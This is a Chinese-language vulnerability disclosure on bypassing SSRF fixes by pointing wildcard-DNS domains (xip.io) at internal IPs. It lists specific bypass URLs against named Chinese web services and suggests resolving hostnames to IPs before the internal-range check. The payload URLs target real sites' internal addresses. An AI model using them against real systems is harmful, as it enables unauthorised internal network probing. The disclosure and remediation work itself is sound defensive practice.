乌云多数已修复SSRF漏洞可被绕过

思路猥琐，绕过厂商以为完美修复的绝对防御，再附赠一个绝对防御方法。
让雷把我劈死吧。

详细说明：

针对SSRF漏洞，一般修复的时候是获取到提交的url，获得hosts，判断host是否为内网ip。



于是有这种情况：

例如http://127.0.0.1/asd.html,修复时容易出现的获取host时以/分割来确定host。

但这样可以用http://[email protected]/这样绕过。例如： WooYun: 人人网某处SSRF漏洞可猜解内网 

或者加一个端口绕过。例如： WooYun: 内网编织者百度内网手动编织! 



所以这种情况需要进一步过滤，取@后面的内容和端口后作为host进行判断。



大部分厂商修复的时候都是按照这样的思路。所以出现了下面的绕过方法。



如果把test.com指向内网地址，则完全可以提交test.com绕过前面的过滤，探测内网。



搜索了一下wooyun有史以来提交的SSRF，进行验证。

很多厂商直接取消了相应功能，还有部分成功修复漏洞，但只占少数。



先科普一下一个可以指向任意ip的域名：xip.io

用法：

10.0.0.1.xip.io 10.0.0.1

www.10.0.0.1.xip.io 10.0.0.1

mysite.10.0.0.1.xip.io 10.0.0.1

foo.bar.10.0.0.1.xip.io 10.0.0.1





于是测试了一下，以下地址SSRF漏洞可被绕过。

http://tp.chinaso.com/web?url=http://www.10.10.0.179.xip.io&fr=client

http://widget.renren.com/dialog/share?resourceUrl=http://www.10.10.16.224.xip.io

http://share.renren.com/share/buttonshare.do?link=http://www.10.10.16.224.xip.io

http://note.youdao.com/memory/?url=http://www.10.120.182.20aaa.xip.io

http://qing.blog.sina.com.cn/blog/controllers/share.php?url=www.127.0.0.1.xip.io/asd.html

漏洞证明：

修复方案：

针对SSRF的修复，可以直接获取url对应的ip，如果是ip，返回的依然是ip，域名则返回对应ip，然后再对ip进行判断是否为内网ip，即可防御SSRF内网探测。